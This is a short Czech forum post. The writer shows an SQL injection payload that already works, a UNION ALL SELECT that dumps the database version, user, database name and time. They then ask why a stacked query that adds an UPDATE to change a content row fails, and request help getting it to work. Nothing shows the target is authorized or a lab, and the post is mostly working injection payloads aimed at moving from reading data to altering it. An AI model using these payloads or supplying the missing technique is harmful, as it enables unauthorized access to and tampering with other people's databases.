Zdravím pánové, chci se zeptat, jaké jsou možnosti updatovat řádek u SQL injection? Např. 8+UNION+ALL+SELECT+1,concat(version(),char( 58,58),user(),char(58,58),database(),char(5 8,58),now()),3,4,5,6,7,8-- se mi bez problému zadaří provést, v podstatě výpis není problém, ale potřebuji updatovat.
Ale následující kód prostě nefunguje a to i přes to, že UPDATE je povolen.
8+UNION+ALL+SELECT+1,concat(version(),char( 58,58),user(),char(58,58),database(),char(5 8,58),now()),3,4,5,6,7,8;UPDATE+content+SET +img_id=291+where+id=188--
Poradíte někdo jak dál? (odpovědět) |